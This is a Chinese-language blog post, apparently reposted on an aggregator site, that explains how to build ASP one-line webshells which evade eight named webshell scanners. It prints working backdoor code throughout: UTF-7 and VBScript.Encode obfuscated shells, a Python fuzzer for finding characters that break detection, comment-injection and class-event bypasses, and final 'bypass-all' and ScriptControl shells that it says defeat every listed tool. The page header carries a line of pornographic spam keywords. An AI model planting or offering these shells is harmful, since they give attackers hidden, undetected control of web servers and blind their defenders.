日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

asp-Webshell免杀

發布時間:2024/6/3 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 asp-Webshell免杀 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

隨著時間的推移和其它新型動態網頁技術的興起,使用ASP(Active Server Page)技術構建的Web應用越來越少。ASP的衰落、舊資料和鏈接的失效、前輩們早期對ASP較多的研究,都導致了新型ASP網站后門和技術研究的減少。

本篇文章主要梳理ASP一句話Webshell的構建和規避檢測軟件達到源文件免殺的思路。最終構建能夠同時繞過以下表格中8個專業木馬查殺工具和平臺檢測的Webshell,構造出零提示、無警告、無法被檢測到的ASP一句話木馬后門。

編號名稱參考鏈接
1網站安全狗(IIS 4.0)http://download.safedog.cn/download/software/safedogIISV4.0.exe
2D盾Web查殺 V2.0.9http://www.d99net.net/down/WebShellKill_V2.0.9.zip
3D盾防火墻 v2.0.6.92http://www.d99net.net/down/d_safe_2.0.6.92.zip
4深信服WebShellKillerTool(2017)http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip
5360主機衛士v2.0.5.9http://down-www.newasp.net/pcdown/soft/dys/360WebSafe_Setup.rar
6護衛神云查殺系統(V4.5)http://down.huweishen.com/free/HwsKill.zip
7OpenRASP WEBDIR+ Webshell檢測https://scanner.baidu.com
8河馬專業版查殺Webshellhttp://n.shellpub.com/

0x01:ASP執行流程和原理

ASP腳本原生支持通過VBScriptJScript兩種腳本語言來建立動態頁面,本質上是將PC端的腳本執行能力遷移到了服務器。使用ASP技術構建的網站,通常都是部署在IIS或PWS服務器上。

借用一個簡圖表示瀏覽器請求一個ASP腳本的流程:

當Web應用服務器(IIS)判斷出請求是訪問ASP腳本后,自動通過Isapi模塊調用ASP腳本的解釋運行引擎asp.dll。asp.dll從文件系統或內部緩沖區中獲取ASP腳本的文本內容,然后進行語法分析并解釋執行。

如下圖所示,在IIS服務器的"處理程序映射"配置中,可以設置特定路徑文件的解析引擎。

ASP腳本中的代碼塊一般被包裹在<% %>標簽中,默認以VBscript語言進行解釋。除此之外,還可以使用 <%@ language="VBscript" %>或者

<script language="VBScript" runat="server"> some-vbscript-code </script>

標簽,顯性的告訴服務器腳本使用VBscript語言進行解釋。同理可將language指定為JScript,則表示用微軟實現的JavaScript語言解釋服務器上的ASP腳本中的代碼。ASP腳本中的基本語法可參考ASP、VbScript和JScript各自的參考手冊,本文不再贅述。

0x02:ASP支持的注釋方式

ASP腳本中支持五種注釋方式

' 單引號 (單行注釋) REM rem+空格 (單行注釋) // 雙斜線 (單行注釋,VBscript,JScript可用,僅支持IIS) <!-- --> HTML注釋符 (單行注釋,VBscript可用,僅支持IIS) /* */ 多行注釋符 (多行注釋,JScript可用)

0x03:ASP一句話后門現狀

ASP腳本中,主要用以下三個VBscript函數執行代碼,也是我們構造ASP一句話木馬的入口。下面是用三個函數分別構建對應長度最短的密碼為0的ASP一句話后門示例:

  • Eval

    <%eVAl reQuEst(0)%>

  • Execute

    <%exECuTe ReqUEst(0)%>

  • ExecuteGlobal

    <%eXECutegLobaL rEquEst(0)%>

遺憾的是VBscript語言和其它高級語言相比,語法結構偏向簡單。代碼層面上很難隱藏上面三個函數的敏感詞Eval、Execute和ExecuteGlobal 。

目前用的較多的隱藏以上三個敏感詞的兩種方式如下:

  • 使用UTF-7編碼腳本

    一個密碼為"LandGrey"的原始ASP一句話腳本代碼如下:

<%@codepage=65000%> <%response.codepage=65001:eval(request("LandGrey"))%>

UTF-7編碼后utf7-bypass.asp腳本內容如下:

<%@codepage=65000%> <% +AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk- %>

這種方式可以躲過較多webshell檢測軟件查殺,但是D盾Webshell查殺工具,提示腳本使用了UTF-7編碼,并不能做到完全不被察覺。

  • 使用VBScript.Encode功能編碼腳本

    ASP腳本默認可以使用內置的Encoder工具,對代碼進行混淆,以保護源碼的安全性。寫一個vbs腳本,內容如下:

ExecuteGlobal request("LandGrey")

使用微軟的工具運行命令screnc.exe script.vbs script.vbe,得到結果

#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@

然后就可以構建一個密碼為"LandGrey"的編碼混淆后的一句話木馬腳本。注意里面有不可打印字符,需要使用的話,請下載vbencode-bypass.asp

<%@ LANGUAGE = "VBScript.Encode"%> <%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@%>

這種方式也可以繞過較多的查殺工具,但D盾會解碼混淆后的腳本,然后再判斷是否是惡意腳本,構造出來的一句話腳本木馬依然會被查殺。

接著就陷入了較長時間的進度停滯,堆積各種代碼姿勢和測試已經公開的一句話木馬,均不能躲過"D盾"的毒手。

期間人工測試了大量代碼,也試圖通過fuzzing,來構造eval{some-char}RequEst("LandGrey")形式的代碼,嘗試找到可以連接在eval和request之間的特殊字符,讓ASP引擎既能正常解析腳本,又能繞過軟件檢測,結果失敗了。

0x04:研究思路梳理

從以上小節的相關介紹可以看出目前構造完全免殺的ASP一句話木馬的主要困難點:

  • ASP網頁構建技術出現時間較早,相關技術較為成熟
  • 難找到以往從沒出現過的新型技術構建一句話木馬
  • 構建ASP網頁相關的語法結構偏向簡單
  • ASP Webshell被限定在僅使用一個ASP腳本,構造一句話木馬
  • 各種成熟的Webshell查殺工具對以往各類一句話木馬均有所防范

要成功構造出能同時繞過以上表格中8款Webshell檢測工具和平臺的ASP一句話木馬,存在一定的困難,不梳理下構造思路,最終很可能會做無用功。

雖然如此,但是現在研究構造免殺的ASP一句話木馬也存在一定的有利條件:

  • ASP構建的Web應用的減少直接導致查殺軟件對ASP木馬查殺的重視程度降低
  • 針對ASP木馬的查殺技術還停留在正則表達式特征匹配方面
  • 大多數Webshell檢測工具的ASP特征庫版本很久沒有更新

想要繞過檢測,可以進行以下操作

  • 先收集以往的各種ASP一句話木馬樣本
  • 多使用幾種最新版的本地查殺工具進行斷網檢測,交叉驗證,比對查殺情況
  • 針對所有的ASP一句話木馬樣本使用的技術進行簡單分類
  • 重點分析能僥幸繞過一兩款工具的單個木馬樣本
  • 熟讀語法手冊和官方文檔和原木馬樣本,不斷增刪代碼,找到繞過檢測的"命脈"
  • 結合木馬所使用的技術方法進行Webshell語法特性方面的深入挖掘
  • 找到目前已知所有可以執行ASP代碼或命令的函數或語法特性,進行相關拓展或替換
  • 針對單個查殺效果較好的本地工具,不斷進行手工測試繞過,必要時輔助Fuzzing技術
  • 0x05:繞過D盾檢測

    上面介紹了,既然D盾規則庫比較全,那就先從突破D盾Web查殺工具開始。

    一. 填充垃圾數據插入特殊字符串繞過

    經過0x03小節的分析和大量測試,我不僅懷疑現在是否還能找到僅通過單個腳本,就能構造出繞過D盾Webshell查殺的ASP一句話木馬。直到我偶然發現下面代碼中一個有趣的地方:

    第二行代碼用單引號注釋掉了%>符號,按理來說,對腳本的執行并沒有影響。但是發現如下圖,ASP引擎忽略了單引號注釋符,將腳本中第一個%>以后的字符全部截斷,而且同時D盾也查不出來腳本有異常了。

    ASP引擎和D盾的解析如此相似,內部實現可以看成進入<%符號時,就急于尋找%>符號閉合這段代碼,而造成忽略單引號注釋符和造成代碼截斷的情況。以此為突破口,人肉fuzzing,終于找到繞過D盾,但可以讓ASP引擎解析的一段代碼glorysday.asp:

    構造以上代碼需要:

    • 利用注釋符
    • 利用'%>和'<%分別閉合前后標簽
    • 填充大量垃圾<%%>標簽,且最后文件體積大小要合適(測試發現文件大小約>0.97 MB)
    • 必須要在一定位置插入至少一個<??>字符串

    頁面瀏覽該腳本頁面,就會發現很多作為注釋符,但沒生效的單引號

    使用Cknife可以正常連接該一句話

    上面提到的的特殊位置插入<??>是繞過檢測的必要手段,不能增減一個字符。具體原因可能和D盾軟件內部實現的Bug有關,這里不深入追究,感興趣的同學可以自己接著去研究。

    腳本中作為注釋符號的單引號,可以使用其它三種注釋符替換,依然可以繞過。

    二. 使用<!--"-->百分百繞過D盾檢測

    靠著運氣和玄學的成份,我們繞過了D盾Web查殺檢測。既然注釋符號和<??>符號對D盾來說會產生意想不到的Bug效果,那么猜想,可能會有其它更簡單的方式,繞過D盾的檢測。

    首先選個一定會被殺掉的簡單ASP一句話腳本:

    <% execute(request("LandGrey")) %>

    我們在腳本中的第一個<%符號標記后面,execute標記前面,插入不同字符,查看D盾的檢測反應。用下面的Python腳本在兩個標記中間插入ascii值為0-255的字符,批量生成測試腳本

    #!/usr/bin/env python # coding:utf-8 import os

    def generate(count):
    template = “”"
    <%
    {0}
    execute(request(“LandGrey”))
    %>""".format(chr(count))
    with open(os.path.join(path, “fuzz_{}.asp”.format(count)), ‘w’) as f:
    f.write(template)

    path = r"/path/to/yours/"

    for c in range(0, 256):
    generate(c)

    然后用D盾檢測,出現了較為意外的結果,發現256個文件中,只檢測出來了122個Webshell。

    選一個沒有檢測到的腳本fuzz_34.asp,發現只是增加了一個雙引號"。當然,多個"雙引號這個腳本也不能正常執行了。

    然后就結合四種VBscript可用的注釋符,嘗試找到能讓腳本能正常執行,又繞過工具檢測的方法。結果發現使用<!-- -->注釋符加雙引號"的形式,構造出<!--"-->字符串,就可以利用D盾的軟件缺陷,完全繞過D盾的ASP木馬檢測。讓先前被殺的腳本,插上放飛的翅膀。

    一個可以繞過D盾檢測的簡單腳本use-html-annotator-bypass.asp如下:

    <% <!--"--> execute request("LandGrey") %>

    其它幾乎所有的ASP木馬腳本,只要在上面提到的正確位置插入了<!--"-->字符串,都可以繞過D盾的檢測。

    0x06: 繞過安全狗檢測

    在"0x05:繞過D盾檢測"部分,我們找到了兩種繞過方法。有趣的是,測試發現安全狗也部分存在<!--"-->繞過的Bug問題。

    一.使用<!--"-->符號繞過檢測

    如下圖的兩個腳本

    用安全狗進行檢測,只要插入了<!--"-->字符串,就可以繞過。

    二. 其它多種方式繞過

    其它繞過安全狗檢測的方式還是比較多的,前面的VBscript encode腳本vbencode-bypass.asp就可以繞過。另外,再列出來兩種利用語法特性繞過的示例程序:

    方法一:請求判斷
    <%if Request("LandGrey")<>"" then ExecuteGlobal request("LandGrey") end if %>
    方法二:request變量替換
    <%if request("LandGrey")<>""then session("LandGrey")=request("LandGrey"):end if:if session("LandGrey")<>"" then execute session("LandGrey")%>

    0x07: 繞過護衛神檢測

    生活為你推開大門,打開一扇窗的同時,不會再為你預留一個狗洞。上面講的<!--"-->方法并不是無敵的存在,繞不過護衛神的檢測。

    所以繼續重拾老本行,繼續查看官方語法手冊。護衛神有兩種查殺模式,對于"極限模式",用VBscript的兩種類事件可以繞過檢測

    一. 利用類初始化事件繞過
    <% Class LandGreyPrivate Sub Class_Initializeeval (request("LandGrey"))End Sub End ClassSet X = New LandGrey %>
    二. 利用類卸載事件繞過
    <% Class LandGreyPrivate Sub class_terminateeval (request("LandGrey"))End Sub End ClassSet X = New LandGrey Set X = Nothing %>

    三. 花式語法繞過

    然而選了"通用模式"后,上面兩個一句話木馬就都失效了。但還是有方法能同時繞過護衛神的兩種模式,用下面的bypass-all.asp腳本(密碼"LandGrey")即可

    <%<!--"--> eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107"))Function fun(Str):Str = Split(Str,"%")For x=1 To Ubound(Str)fun=fun&Chr(Str(x)-66)Next End Function %>

    0x07: 總結

    其余的工具和平臺都大同小異,效果遠不如D盾和護衛神,沒必要單獨針對繞過。上面的bypass-all.asp腳本就足夠繞過上面的表格中所有的平臺和工具了。

    最后再給出一個可以繞過表格中所有工具和平臺檢測的一句話腳本create-activex-object.asp,密碼"LandGrey"。其原理是利用ASP內置的CreateObject創建ScriptControl組件對象,然后執行VBscript代碼。VBscript代碼中接受來自請求的參數變量值,并當作VBscript代碼執行。

    <%@ language = VBscript %> <%<!--%^_^%--> SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1") LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT" LandGrey.AddObject "REsponse", Response LandGrey.AddObject "r"&chr(101)&"quEst", requesT LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn LandGrey.AddObject "serv"&chr(101)&"r", serVer LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")") %>

    參考鏈接:

    https://github.com/search?utf8=%E2%9C%93&q=webshell&type=

    http://www.cnblogs.com/LittleHann/p/5016999.html

    http://www.365jz.com/handbook/asp/

    總結

    以上是生活随笔為你收集整理的asp-Webshell免杀的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。